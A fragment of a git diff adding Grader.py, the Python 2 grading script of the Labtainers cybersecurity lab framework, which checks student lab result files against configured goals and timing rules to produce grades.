os.makedirs(resultsdir) + except: + pass + outputjsonfname = os.path.join(resultsdir,'goals.json') + #print "GoalsParser: Outputjsonfname is (%s)" % outputjsonfname + + #print nametags + jsonoutput = open(outputjsonfname, "w") + jsondumpsoutput = json.dumps([x.goal_dict() for x in nametags], indent=4) + jsonoutput.write(jsondumpsoutput) + jsonoutput.write('\n') + jsonoutput.close() + + return parameter_list + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/Grader.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/Grader.py new file mode 100755 index 000000000..680434641 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/Grader.py @@ -0,0 +1,1018 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# Grader.py +# Description: Grade the student lab work + +import collections +try: + from collections import OrderedDict +except: + OrderedDict = dict +import filecmp +import json +import glob +import os +import sys +import subprocess +import ast +import string +import evalBoolean +import evalExpress +import InstructorLogging + + +default_timestamp = 'default-NONE' +def compare_time_during(goal1timestamp, goal2timestamp): + goal1start, goal1end = goal1timestamp.split('-') + goal2start, goal2end = goal2timestamp.split('-') + #print "goal1start (%s) goal1end (%s)" % (goal1start, goal1end) + #print "goal2start (%s) goal2end (%s)" % (goal2start, goal2end) + if goal1end == '0': + goal1end = goal1start + if goal2end == '0': + goal2end = goal2start + if goal1start == 'default' or goal2start == 'default': + return False + #print "Can't compare 'default' timestamp!" + #exit(1) + if goal1end == 'NONE' or goal2end == 'NONE': + return False + #print "Can't compare 'NONE' timestamp!" + #exit(1) + if goal2start <= goal1start and goal1start <= goal2end: + #print "goal2start (%s) <= goal1start (%s) <= goal2end (%s)" % (goal1start, goal2start, goal1end) + return True + else: + #print "NOT - goal2start (%s) <= goal1start (%s) <= goal2end (%s)" % (goal1start, goal2start, goal1end) + return False + +def compare_time_before(goal1timestamp, goal2timestamp): + goal1start, goal1end = goal1timestamp.split('-') + goal2start, goal2end = goal2timestamp.split('-') + if goal1start == 'default' or goal2start == 'default': + print "Can't compare 'default' timestamp!" + exit(1) + if goal1start <= goal2start: + #print "goal1start (%s) <= goal2start (%s)" % (goal1start, goal2start) + return True + else: + return False + +def evalTimeBefore(goals_tag1, goals_tag2): + evalTimeBeforeResult = False + for goal1timestamp, goal1value in goals_tag1.iteritems(): + #print "Goal1 timestamp is (%s) and value is (%s)" % (goal1timestamp, goal1value) + # For each Goal1 value that is True + if goal1value: + for goal2timestamp, goal2value in goals_tag2.iteritems(): + #print "Goal2 timestamp is (%s) and value is (%s)" % (goal2timestamp, goal2value) + # If there is Goal2 value that is True + if goal2value: + #print "goal1ts (%s) goal2ts (%s)" % (goal1timestamp, goal2timestamp) + evalTimeBeforeResult = compare_time_before(goal1timestamp, goal2timestamp) + if evalTimeBeforeResult: + # if evalTimeBeforeResult is True - that means: + # (1) goals_tag1 is True and goals_tag2 is True + # (2) goal1start <= goal2start + break + if evalTimeBeforeResult: + break + + return evalTimeBeforeResult + + +def evalTimeDuring(goals_tag1, goals_tag2, logger): + ''' Return a dictionary of booleans keyed with goals_tag2 time ranges for each goals_tag1 + that occured during the goals_tag2 time range. The boolean is true if at least + one goals_tag1 value within the range is true''' + + retval = {} + ''' make sure dictionary contains entry for each goals_tag2 time range within which + there exists at least one goals_tag1 time -- independent of the boolean values. ''' + for goal2timestamp, goal2value in goals_tag2.iteritems(): + #logger.DEBUG("Goal2 timestamp is (%s) and value is (%s)" % (goal2timestamp, goal2value)) + value_for_ts2 = None + for goal1timestamp, goal1value in goals_tag1.iteritems(): + #logger.DEBUG("Goal1 timestamp is (%s) and value is (%s)" % (goal1timestamp, goal1value)) + eval_time_during_result = compare_time_during(goal1timestamp, goal2timestamp) + if eval_time_during_result: + #logger.DEBUG("is during Goal1 timestamp is (%s) and value is (%s)" % (goal1timestamp, goal1value)) + ''' at least one during event ''' + if value_for_ts2 is None: + value_for_ts2 = False + value_for_ts2 = value_for_ts2 or (goal2value and goal1value) + if value_for_ts2 is not None: + retval[goal2timestamp] = value_for_ts2 + + return retval + +def evalTimeNotDuring(goals_tag1, goals_tag2, logger): + ''' Return a dictionary of booleans keyed with all goals_tag2 time ranges. + The boolean will be true if the goals_tag2 is true, and there exist + not true values from goals_tag1 for that range. + + ''' + + retval = {} + ''' make sure dictionary contains entry for each goals_tag2 time range within which + there exists at least one goals_tag1 time -- independent of the boolean values. ''' + for goal2timestamp, goal2value in goals_tag2.iteritems(): + #logger.DEBUG("Goal2 timestamp is (%s) and value is (%s)" % (goal2timestamp, goal2value)) + found_one = False + ''' only can be true if goalvalue2 is true ''' + if goals_tag1 is not None and goal2value: + for goal1timestamp, goal1value in goals_tag1.iteritems(): + #logger.DEBUG("Goal1 timestamp is (%s) and value is (%s)" % (goal1timestamp, goal1value)) + if goal1value: + eval_time_during_result = compare_time_during(goal1timestamp, goal2timestamp) + if eval_time_during_result: + #logger.DEBUG("is during Goal1 timestamp is (%s) and value is (%s)" % (goal1timestamp, goal1value)) + found_one = True + if found_one: + retval[goal2timestamp] = False + else: + retval[goal2timestamp] = True + + return retval + +class GoalTimes(): + def __init__(self): + self.goals_id_ts = {} + self.goals_ts_id = {} + self.time_stamps = [] + self.singletons = {} + + def getGoalList(self): + retval = [] + for goal_id in self.goals_id_ts: + retval.append(goal_id) + return retval + + def hasGoal(self, goal_id): + if goal_id in self.goals_id_ts: + return True + else: + return False + + def getGoal(self, goal_id): + if goal_id in self.goals_id_ts: + return self.goals_id_ts[goal_id] + else: + return None + + def getGoalIdTimeStamp(self): + return self.goals_id_ts + def getGoalTimeStampId(self): + return self.goals_ts_id + + + def addGoal(self, goalid, goalts, goalvalue): + ''' + Manage duplicate dictionaries with inverted key-value pairs. + The + ''' + + #print('in addGoal goalid %s goalts %s value %s' % (goalid, goalts, goalvalue)) + # Do goals_id_ts first + if goalvalue == None: + return + if goalid not in self.goals_id_ts: + self.goals_id_ts[goalid] = {} + self.goals_id_ts[goalid][goalts] = goalvalue + else: + if goalts in self.goals_id_ts[goalid]: + if goalts != default_timestamp: + # Already have that goal with that goalid and that timestamp + print("Grader.py add_goals_id_ts(1): duplicate goalid <%s> timestamp <%s> exit" % (goalid, goalts)) + exit(1) + else: + print("Grader.py add_goals_id_ts(1): duplicate goalid <%s> timestamp <%s>, return" % (goalid, goalts)) + return + else: + self.goals_id_ts[goalid][goalts] = goalvalue + # Do goals_ts_id next + if goalts not in self.goals_ts_id: + self.goals_ts_id[goalts] = {} + self.goals_ts_id[goalts][goalid] = goalvalue + else: + if goalid in self.goals_ts_id[goalts]: + # Already have that goal with that goalid and that timestamp + print("Grader.py add_goals_id_ts(2): duplicate goalid timestamp!") + exit(1) + else: + self.goals_ts_id[goalts][goalid] = goalvalue + +def getJsonOutTS(outputjsonfile): + jsonoutput = None + with open(outputjsonfile, "r") as jsonfile: + jsonoutput = json.load(jsonfile) + if jsonoutput is None: + return None + for ts in jsonoutput: + result_set = jsonoutput[ts] + for key in result_set: + old = result_set[key] + new = ast.literal_eval(old) + if new is not None: + if type(new) is str: + new_filtered = filter(lambda x: x in string.printable, new) + else: + new_filtered = new + else: + new_filtered = None + result_set[key] = new_filtered + jsonoutput[ts] = result_set + #print('is %s' % new) + return jsonoutput + +def getJsonOut(outputjsonfile): + with open(outputjsonfile, "r") as jsonfile: + jsonoutput = json.load(jsonfile) + + for key in jsonoutput: + old = jsonoutput[key] + try: + new = ast.literal_eval(old) + except: + print('failed to do literal_eval on %s key was %s' % (old, key)) + exit(1) + if new is not None: + if type(new) is str: + new_filtered = filter(lambda x: x in string.printable, new) + else: + new_filtered = new + else: + new_filtered = None + jsonoutput[key] = new_filtered + #print('is %s' % new) + return jsonoutput + + +def compare_result_answer(current_result, current_answer, operator): + found = False + result_int = None + # current_result may be an int, so turn to string first so + # we can change it back! + current_result = str(current_result) + if "integer" in operator: + try: + if current_result.startswith('0x'): + result_int = int(current_result, 16) + else: + result_int = int(current_result, 10) + except ValueError: + pass + #print('Could not get integer from result <%s>' % current_result) + try: + if current_answer.startswith('0x'): + answer_int = int(current_answer, 16) + else: + answer_int = int(current_answer, 10) + except ValueError: + pass + #print('Could not get integer from answer <%s>' % current_answer) + + if operator == "string_equal": + if current_result == current_answer: + found = True + elif operator == "string_diff": + if current_result != current_answer: + found = True + elif operator == "string_start": + if current_result.startswith(current_answer): + found = True + elif operator == "string_end": + if current_result.endswith(current_answer): + found = True + elif operator == "string_contains": + if current_answer in current_result: + found = True + elif operator == "integer_equal": + if result_int == answer_int: + found = True + elif operator == "integer_greater": + if result_int > answer_int: + found = True + elif operator == "integer_lessthan": + if result_int < answer_int: + found = True + elif operator == "is_true": + if current_result.lower() == 'true': + found = True + elif operator == "is_false": + if current_result.lower() == 'false': + found = True + else: + found = False + + return found + +def processMatchLast(result_sets, eachgoal, goal_times): + #print "Inside processMatchLast" + found = False + goalid = eachgoal['goalid'] + #print goalid + jsonanswertag = eachgoal['answertag'] + #print jsonanswertag + jsonresulttag = eachgoal['resulttag'] + (resulttagtarget, resulttag) = jsonresulttag.split('.') + #print jsonresulttag + # Handle special case 'answer=' + one_answer = False + if '=' in jsonanswertag: + (answertag, onlyanswer) = jsonanswertag.split('=') + current_onlyanswer = onlyanswer.strip() + # Change to one_answer = True + one_answer = True + #print "Current onlyanswer is (%s)" % current_onlyanswer + else: + # No more answer.config (parameter or parameter_ascii will become answer= already) + (use_target, answertagstring) = jsonanswertag.split('.') + #print use_target + #print answertagstring + + # MatchLast - Process only the last timestamp file + # until match or not found + results, ts = result_sets.getLatest() + #print results + if results == {}: + # empty - skip + return + + try: + resulttagresult = results[resulttag] + except: + #print('processMatchLast: %s not found in file %s' % (resulttag, outputjsonfile)) + return + #print resulttagresult + try: + timestampend = results['PROGRAM_ENDTIME'] + except: + print('processMatchLast: PROGRAM_ENDTIME not found in file %s' % outputjsonfile) + exit(1) + fulltimestamp = '%s-%s' % (ts, timestampend) + if one_answer: + found = compare_result_answer(resulttagresult, current_onlyanswer, eachgoal['goaloperator']) + if found: + #print "resulttagresult is (%s) matches answer (%s)" % (resulttagresult, current_onlyanswer) + goal_times.addGoal(goalid, fulltimestamp, True) + return + else: + current_onlyanswer = results[answertagstring] + #print "Correct onlyanswer is (%s)" % current_onlyanswer + found = compare_result_answer(resulttagresult, current_onlyanswer, eachgoal['goaloperator']) + if found: + #print "resulttagresult is (%s) matches answer (%s)" % (resulttagresult, current_onlyanswer) + goal_times.addGoal(goalid, fulltimestamp, True) + return + + # All file processed - still not found + if not found: + #print "processMatchLast failed" + goal_times.addGoal(goalid, fulltimestamp, False) + +def processMatchAcross(result_sets, eachgoal, goal_times): + ''' TBD, this seems wrong, should only be one answer for all timestamps? ''' + #print "Inside processMatchAcross" + found = False + goalid = eachgoal['goalid'] + #print goalid + jsonanswertag = eachgoal['answertag'] + #print jsonanswertag + jsonresulttag = eachgoal['resulttag'] + (resulttagtarget, resulttag) = jsonresulttag.split('.') + #print jsonresulttag + # answer= and goal_type=matchacross have been checked (not allowed) + # during parsing of goals + (use_target, answertagstring) = jsonanswertag.split('.') + #print use_target + #print answertagstring + fulltimestamp = None + # MatchAcross - Process each file against other files with different timestamp + # until match or not found + for ts in result_sets.getStamps(): + results = result_sets.getSet(ts) + + #print results + if results == {}: + # empty - skip + continue + + try: + resulttagresult = results[resulttag] + except: + #print('processMatchAcross: %s not found in file %s' % (resulttag, outputjsonfile)) + continue + #print resulttagresult + try: + timestampend = results['PROGRAM_ENDTIME'] + except: + print('processMatchAcross: PROGRAM_ENDTIME not found in file %s' % outputjsonfile) + exit(1) + fulltimestamp = '%s-%s' % (ts, timestampend) + + for ts2 in result_sets.getStamps(): + # ensure different time stamp + if ts == ts2: + continue + #print "processMatchAcross Output 2 json %s" % outputjsonfile + results2 = result_sets.getSet(ts2) + try: + current_answer = results2[answertagstring] + except KeyError: + continue + + #print "Correct answer is (%s)" % current_answer + + found = compare_result_answer(resulttagresult, current_answer, eachgoal['goaloperator']) + if found: + #print "resulttagresult is (%s) matches answer (%s)" % (resulttagresult, current_answer) + goal_times.addGoal(goalid, fulltimestamp, True) + return + + # All file processed - still not found + if not found: + #print "processMatchAcross failed" + goal_times.addGoal(goalid, fulltimestamp, False) + +def handle_expression(resulttag, json_output, logger): + result = None + if resulttag.startswith('(') and resulttag.endswith(')'): + express = resulttag[resulttag.find("(")+1:resulttag.find(")")] + for tag in json_output: + logger.DEBUG('is tag %s in express %s' % (tag, express)) + if tag in express: + if json_output[tag] != None: + express = express.replace(tag, json_output[tag]) + else: + return None + try: + logger.DEBUG('try eval of <%s>' % express) + result = evalExpress.eval_expr(express) + except: + logger.ERROR('could not evaluation %s, which became %s' % (resulttag, express)) + sys.exit(1) + else: + logger.ERROR('handleExpress called with %s, expected expression in parens' % resulttag) + return result + + +def processMatchAny(result_sets, eachgoal, goal_times, logger): + #print "Inside processMatchAny" + #logger.DEBUG("Inside processMatchAny") + found = False + goalid = eachgoal['goalid'] + #print goalid + jsonanswertag = eachgoal['answertag'] + logger.DEBUG('jsonanswertag %s' % jsonanswertag) + jsonresulttag = eachgoal['resulttag'] + (resulttagtarget, resulttag) = jsonresulttag.split('.') + logger.DEBUG('jsonresulttag %s' % jsonresulttag) + # Handle special case 'answer=' + one_answer = False + if '=' in jsonanswertag: + (answertag, onlyanswer) = jsonanswertag.split('=') + current_onlyanswer = onlyanswer.strip() + # Change to one_answer = True + one_answer = True + #print "Current onlyanswer is (%s)" % current_onlyanswer + else: + # No more answer.config (parameter or parameter_ascii will become answer= already) + (use_target, answertagstring) = jsonanswertag.split('.') + #print use_target + #print answertagstring + + # for processMatchAny - Process all files regardless of match found or not found + for ts in result_sets.getStamps(): + results = result_sets.getSet(ts) + if results == {}: + # empty - skip + print('empty for ts %s' % ts) + continue + + if resulttag.startswith('('): + resulttagresult = str(handle_expression(resulttag, results, logger)) + logger.DEBUG('from handle_expression, got %s' % resulttagresult) + else: + try: + resulttagresult = results[resulttag] + except KeyError: + logger.DEBUG('%s not found in file %s' % (resulttag, ts)) + continue + if resulttagresult == None: + continue + #print resulttagresult + try: + timestampend = results['PROGRAM_ENDTIME'] + except KeyError: + logger.ERROR('processMatchAny: PROGRAM_ENDTIME not found in file %s' % ts) + exit(1) + fulltimestamp = '%s-%s' % (ts, timestampend) + if one_answer: + #logger.DEBUG("Correct answer is (%s) result (%s)" % (current_onlyanswer, resulttagresult)) + found = compare_result_answer(resulttagresult, current_onlyanswer, eachgoal['goaloperator']) + goal_times.addGoal(goalid, fulltimestamp, found) + else: + if answertagstring not in results: + logger.ERROR('%s not in results %s' % (answertagstring, str(results))) + sys.exit(1) + answertagresult = results[answertagstring] + current_answer = answertagresult.strip() + #logger.DEBUG("Correct answer is (%s) result (%s)" % (current_answer, resulttagresult)) + found = compare_result_answer(resulttagresult, current_answer, eachgoal['goaloperator']) + goal_times.addGoal(goalid, fulltimestamp, found) + +def processValue(result_sets, eachgoal, grades, logger): + ''' assign the grade the most recent non-NONE result ''' + goalid = eachgoal['goalid'] + #print goalid + jsonanswertag = eachgoal['answertag'] + #print jsonanswertag + resulttag = eachgoal['resulttag'] + if resulttag.startswith('result.'): + resulttag = resulttag[len('result.'):] + + value = None + for ts in result_sets.getStamps(): + results = result_sets.getSet(ts) + + if results == {}: + # empty - skip + continue + + try: + resulttagresult = results[resulttag] + except KeyError: + #print('processCount: %s not found in file %s' % (resulttag, outputjsonfile)) + continue + if resulttagresult != None: + value = resulttagresult + #print 'count is %d' % count + grades[goalid] = value + +def processCount(result_sets, eachgoal, grades, logger): + #print "Inside processCount" + count = 0 + goalid = eachgoal['goalid'] + #print goalid + jsonanswertag = eachgoal['answertag'] + #print jsonanswertag + resulttag = eachgoal['resulttag'] + if resulttag.startswith('result.'): + resulttag = resulttag[len('result.'):] + + for ts in result_sets.getStamps(): + results = result_sets.getSet(ts) + + if results == {}: + # empty - skip + continue + + try: + resulttagresult = results[resulttag] + except KeyError: + #print('processCount: %s not found in file %s' % (resulttag, outputjsonfile)) + continue + if resulttagresult != None: + if 'goaloperator' in eachgoal and len(eachgoal['goaloperator']) > 0: + jsonanswertag = eachgoal['answertag'] + #print jsonanswertag + jsonresulttag = eachgoal['resulttag'] + print 'tag is %s' % jsonresulttag + #(resulttagtarget, resulttag) = jsonresulttag.split('.') + #print jsonresulttag + # Handle special case 'answer=' + one_answer = False + if '=' in jsonanswertag: + (answertag, onlyanswer) = jsonanswertag.split('=') + current_onlyanswer = onlyanswer.strip() + # Change to one_answer = True + one_answer = True + #print "Current onlyanswer is (%s)" % current_onlyanswer + else: + (use_target, answertagstring) = jsonanswertag.split('.') + #print use_target + #print answertagstring + if one_answer: + #print "Correct answer is (%s) result (%s)" % (current_onlyanswer, resulttagresult) + found = compare_result_answer(resulttagresult, current_onlyanswer, eachgoal['goaloperator']) + else: + if answertagstring not in results: + logger.ERROR('%s not in results %s' % (answertagstring, str(results))) + sys.exit(1) + answertagresult = results[answertagstring] + current_answer = answertagresult.strip() + found = compare_result_answer(resulttagresult, current_answer, eachgoal['goaloperator']) + if found: + count += 1 + else: + count += 1 + #print 'count is %d' % count + grades[goalid] = count + +def processExecute(results, eachgoal, goal_times): + #print "Inside processExecute" + found = False + goalid = eachgoal['goalid'] + #print goalid + executefile = eachgoal['goaloperator'] + #print executefile + jsonanswertag = eachgoal['answertag'] + #print jsonanswertag + jsonresulttag = eachgoal['resulttag'] + (resulttagtarget, resulttag) = jsonresulttag.split('.') + #print jsonresulttag + # Handle special case 'answer=' + one_answer = False + if '=' in jsonanswertag: + (answertag, onlyanswer) = jsonanswertag.split('=') + current_onlyanswer = onlyanswer.strip() + # Change to one_answer = True + one_answer = True + #print "Current onlyanswer is (%s)" % current_onlyanswer + else: + print('processExecute: expecting answertag to be the parameterized value') + exit(1) + + # for processExecute - Process all files regardless of match found or not found + for ts in result_sets.getStamps(): + results = result_sets.getSet(ts) + if results == {}: + # empty - skip + continue + + try: + resulttagresult = results[resulttag] + except KeyError: + print('processExecute: %s not found in file %s' % (resulttag, outputjsonfile)) + continue + #print resulttagresult + + try: + timestampend = results['PROGRAM_ENDTIME'] + except KeyError: + print('processExecute: PROGRAM_ENDTIME not found in file %s' % outputjsonfile) + exit(1) + fulltimestamp = '%s-%s' % (ts, timestampend) + + #print "Correct answer is (%s) result (%s)" % (current_onlyanswer, resulttagresult) + #found = compare_result_answer(resulttagresult, current_onlyanswer, eachgoal['goaloperator']) + + command = "%s %s %s" % (executefile, resulttagresult, current_onlyanswer) + #print("Command to execute is (%s)" % command) + result = subprocess.call(command, shell=True) + if result: + #print "processExecute return 1" + goal_times.addGoal(goalid, fulltimestamp, True) + else: + #print "processExecute return 0" + goal_times.addGoal(goalid, fulltimestamp, False) + +def processTrueFalse(result_sets, eachgoal, goal_times): + #print "Inside processTrueFalse" + found = False + goalid = eachgoal['goalid'] + #print goalid + resulttag = eachgoal['resulttag'] + #print resulttag + #print eachgoal + + for ts in result_sets.getStamps(): + results = result_sets.getSet(ts) + + if results == {}: + # empty - skip + continue + + try: + resulttagresult = results[resulttag] + except KeyError: + #print('processTrueFalse: %s not found in file %s' % (resulttag, outputjsonfile)) + continue + if resulttagresult == None: + continue + + try: + timestampend = results['PROGRAM_ENDTIME'] + except KeyError: + print('processTrueFalse: PROGRAM_ENDTIME not found in file %s' % outputjsonfile) + exit(1) + fulltimestamp = '%s-%s' % (ts, timestampend) + #print('compare %s operator %s' % (resulttagresult, eachgoal['goaltype'])) + found = compare_result_answer(resulttagresult, None, eachgoal['goaltype']) + goal_times.addGoal(goalid, fulltimestamp, found) + +def countTrue(the_goals, current_goals): + #print('current goals %s' % str(current_goals)) + count = 0 + for item in current_goals: + item = item.strip() + if item in the_goals: + if current_goals[item]: + count += 1 + #print('item %s true count now %d' % (item, count)) + the_goals.remove(item) + return count + +def processCountGreater(eachgoal, goal_times): + goalid = eachgoal['goalid'] + try: + value = int(eachgoal['answertag']) + except: + print('ERROR: Grader.py could not parse int from %s in %s' % (eachgoal['answertag'], eachgoal)) + exit(1) + ''' note, not a boolean string, TBD change name to more generic ''' + subgoal_list = eachgoal['boolean_string'] + # Process all goals_ts_id dictionary + goalid = eachgoal['goalid'] + #print('countGreater, value %d list %s' % (value, subgoal_list)) + true_count = 0 + the_list = subgoal_list[subgoal_list.find("(")+1:subgoal_list.find(")")] + the_goals = the_list.strip().split(',') + the_goals = [x.strip() for x in the_goals] + goals_ts_id = goal_times.getGoalTimeStampId() + for timestamppart, current_goals in goals_ts_id.iteritems(): + true_count += countTrue(the_goals, current_goals) + #print('true_count now %d' % true_count) + is_greater = False + if true_count > value: + is_greater = True + #print('true_count is %d' % true_count) + #print('countGreater result is %r' % is_greater) + goal_times.addGoal(goalid, default_timestamp, is_greater) + + +def processTemporal(eachgoal, goal_times, logger): + goal1tag = eachgoal['goal1tag'] + goal2tag = eachgoal['goal2tag'] + goalid = eachgoal['goalid'] + logger.DEBUG("goal1tag is (%s) and goal2tag is (%s)" % (goal1tag, goal2tag)) + # Make sure goal1tag and goal2tag is in goals_id_ts + if not goal_times.hasGoal(goal1tag) and eachgoal['goaltype'] != 'time_not_during': + logger.DEBUG("warning: goal1tag (%s) does not exist in goalTimes\n" % (goal1tag)) + return + if not goal_times.hasGoal(goal2tag): + logger.DEBUG("warning: goal2tag (%s) does not exist!\n" % goal2tag) + return + goals_tag1 = goal_times.getGoal(goal1tag) + goals_tag2 = goal_times.getGoal(goal2tag) + #print "Goals tag1 is " + #print goals_tag1 + #print "Goals tag2 is " + #print goals_tag2 + if eachgoal['goaltype'] == "time_before": + eval_time_result = evalTimeBefore(goals_tag1, goals_tag2) + # if eval_time_result is False - that means, can't find the following condition: + # (1) goals_tag1 is True and goals_tag2 is True + # (2) goal1start <= goal2start + goal_times.addGoal(goalid, default_timestamp, eval_time_result) + elif eachgoal['goaltype'] == "time_during": + logger.DEBUG('eval for %s %s' % (goals_tag1, goals_tag2)) + eval_time_result = evalTimeDuring(goals_tag1, goals_tag2, logger) + for ts in eval_time_result: + goal_times.addGoal(goalid, ts, eval_time_result[ts]) + + + # if eval_time_result is False - that means, can't find the following condition: + # (1) goals_tag1 is True and goals_tag2 is True + # (2) goal2start (%s) <= goal1start (%s) <= goal2end (%s) + elif eachgoal['goaltype'] == "time_not_during": + logger.DEBUG('eval time_not_during for %s %s' % (goals_tag1, goals_tag2)) + eval_time_result = evalTimeNotDuring(goals_tag1, goals_tag2, logger) + for ts in eval_time_result: + goal_times.addGoal(goalid, ts, eval_time_result[ts]) + + +def processBoolean(eachgoal, goal_times, logger): + glist = goal_times.getGoalList() + t_string = eachgoal['boolean_string'] + evalBooleanResult = None + goalid = eachgoal['goalid'] + # Process all goals_ts_id dictionary + goals_ts_id = goal_times.getGoalTimeStampId() + for timestamppart, current_goals in goals_ts_id.iteritems(): + if timestamppart != default_timestamp or len(goals_ts_id)==1: + logger.DEBUG('eval %s against %s tspart %s' % (t_string, str(current_goals), timestamppart)) + evalBooleanResult = evalBoolean.evaluate_boolean_expression(t_string, current_goals, logger, glist) + if evalBooleanResult is not None: + logger.DEBUG('bool evaluated to %r' % evalBooleanResult) + goal_times.addGoal(goalid, timestamppart, evalBooleanResult) + # if evalBooleanResult is None - means not found + if evalBooleanResult is None: + #logger.DEBUG('processBoolean evalBooleanResult is None, goalid %s goal_id_ts %s' % (goalid, goals_ts_id)) + logger.DEBUG('processBoolean evalBooleanResult is None, goalid %s ' % (goalid)) + goal_times.addGoal(goalid, default_timestamp, False) + +class ResultSets(): + def addSet(self, result_set, ts, goal_times): + #print('addSet') + if 'PROGRAM_ENDTIME' in result_set: + fulltimestamp = '%s-%s' % (ts, result_set['PROGRAM_ENDTIME']) + else: + fulltimestamp = '%s-0' % (ts) + + if ts in self.result_sets: + print('ts') + ''' add boolean results to goals ''' + for key in result_set: + print('look at %s, val %s' % (key, result_set[key])) + self.result_sets[ts][key] = result_set[key] + if isinstance(result_set[key], bool): + print 'is bool ts is %s' % ts + goal_times.addGoal(key, fulltimestamp, result_set[key]) + + else: + self.result_sets[ts] = result_set + for key in result_set: + if isinstance(result_set[key], bool): + #print 'ts is %s' % ts + goal_times.addGoal(key, fulltimestamp, result_set[key]) + + def __init__(self, result_file_list, goal_times): + ''' result_file_list are full paths ''' + self.result_sets = {} + self.latest = None + for result_file in result_file_list: + fname = os.path.basename(result_file) + #print('addSet %s' % fname) + if '.' in fname: + dumb, ts = fname.rsplit('.',1) + if self.latest is None or ts > self.latest: + self.latest = ts + result_set = getJsonOut(result_file) + self.addSet(result_set, ts, goal_times) + elif fname.endswith('_ts') or fname.endswith('_td'): + result_set_set = getJsonOutTS(result_file) + for ts in result_set_set: + self.addSet(result_set_set[ts], ts, goal_times) + else: + result_set = getJsonOut(result_file) + self.addSet(result_set, 'default', goal_times) + + def getSet(self, ts): + return self.result_sets[ts] + def getLatest(self): + return self.result_sets[self.latest], self.latest + def getStamps(self): + return list(self.result_sets.keys()) + + +def finalGoalValue(goalid, grades, goal_times): + if goalid in grades: + # already there, must be calculated value + return + #print "goalid is (%s)" % goalid + current_goals_result = False + goals_id_ts = goal_times.getGoalIdTimeStamp() + for current_goals, timestamp in goals_id_ts.iteritems(): + #print "current_goals is " + #print current_goals + if current_goals == goalid: + current_value = False + # Use goals_ts_id for processing + # - if found on any timestamp then True + # - if not found on any timestamp then False + for key, value in timestamp.iteritems(): + #print "Key is (%s) - value is (%s)" % (key, value) + if value: + current_value = True + break + current_goals_result = current_value + break + #print('assign grades[%s] %r' % (goalid, current_goals_result)) + grades[goalid] = current_goals_result + +# Process Lab Exercise +def processLabExercise(studentlabdir, labidname, grades, goals, bool_results, goal_times, logger): + #print('processLabExercise studentlabdir %s ' % (studentlabdir)) + #print "Goals JSON config is" + #print goals + #for eachgoal in goals: + # print "Current goal is " + # print eachgoal + # print " goalid is (%s)" % eachgoal['goalid'] + # print " goaltype is (%s)" % eachgoal['goaltype'] + # print " answertag is (%s)" % eachgoal['answertag'] + # print " resulttag is (%s)" % eachgoal['resulttag'] + # print "" + RESULTHOME = '%s/%s' % (studentlabdir, ".local/result/") + #print RESULTHOME + if not os.path.exists(RESULTHOME): + sys.stderr.write("ERROR: missing RESULTHOME (%s)\n" % RESULTHOME) + sys.exit(1) + + ''' Read result sets ''' + + outjsonfnamesstring = '%s/%s/%s*' % (studentlabdir, ".local/result/", labidname) + + outjsonfnames = glob.glob(outjsonfnamesstring) + result_sets = ResultSets(outjsonfnames, goal_times) + + # Go through each goal for each student + for eachgoal in goals: + logger.DEBUG('goal is %s type %s' % (eachgoal['goalid'], eachgoal['goaltype'])) + + if eachgoal['goaltype'] == "matchany": + processMatchAny(result_sets, eachgoal, goal_times, logger) + elif eachgoal['goaltype'] == "matchlast": + processMatchLast(result_sets, eachgoal, goal_times) + elif eachgoal['goaltype'] == "matchacross": + processMatchAcross(result_sets, eachgoal, goal_times) + elif eachgoal['goaltype'] == "execute": + processExecute(result_sets, eachgoal, goal_times) + elif eachgoal['goaltype'] == "boolean": + processBoolean(eachgoal, goal_times, logger) + elif eachgoal['goaltype'] == "time_before" or \ + eachgoal['goaltype'] == "time_during" or \ + eachgoal['goaltype'] == "time_not_during": + processTemporal(eachgoal, goal_times, logger) + elif eachgoal['goaltype'] == "count_greater": + processCountGreater(eachgoal, goal_times) + elif eachgoal['goaltype'] == "count": + processCount(result_sets, eachgoal, grades, logger) + elif eachgoal['goaltype'] == "value": + processValue(result_sets, eachgoal, grades, logger) + elif eachgoal['goaltype'].startswith('is_'): + processTrueFalse(result_sets, eachgoal, goal_times) + else: + sys.stdout.write("Error: Invalid goal type: %s\n eachgoal is %s", (eachgoal['goaltype'], str(eachgoal))) + sys.exit(1) + + + #print "Goals - id timestamp : " + #print goals_id_ts + #for current_goals, timestamp in goals_id_ts.iteritems(): + # print "-----" + # print current_goals + # print timestamp + #print "Goals - timestamp id : " + #print goals_ts_id + + # Now generate the grades - based on goalid + for eachgoal in goals: + goalid = eachgoal['goalid'] + finalGoalValue(goalid, grades, goal_times) + for result in bool_results: + finalGoalValue(result, grades, goal_times) + + #print grades + + return 0 + +# Usage: ProcessStudentLab +# return a dictionary of grades for this student. +# Arguments: +# - directory containing the student lab work +# extracted from zip file (done in instructor.py) +# - labidname should represent filename of output json file +def ProcessStudentLab(studentlabdir, labidname, logger): + # Goals + goal_times = GoalTimes() + grades = OrderedDict() + resultsdir = os.path.join(studentlabdir, '.local','result') + try: + os.makedirs(resultsdir) + except: + pass + goalsjsonfname = os.path.join(resultsdir,'goals.json') + with open(goalsjsonfname) as fh: + goals = json.load(fh) + + boolresultsfname = os.path.join(resultsdir,'bool_results.json') + with open(boolresultsfname) as fh: + bool_results = json.load(fh) + + processLabExercise(studentlabdir, labidname, grades, goals, bool_results, goal_times, logger) + + return grades + +# Usage: Grader.py +# Arguments: +# - directory containing the student lab work +# extracted from zip file (done in instructor.py) +# - labidname should represent filename of output json file +def main(): + #print "Running Grader.py" + if len(sys.argv) != 3: + sys.stderr.write("Usage: Grader.py \n") + return 1 + + studentlabdir = sys.argv[1] + labidname = sys.argv[2] + #print "Inside main, about to call ProcessStudentLab " + + logger = InstructorLogging.InstructorLogging("/tmp/instructor.log") + ProcessStudentLab(studentlabdir, labidname, logger) + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/InstructorLogging.py 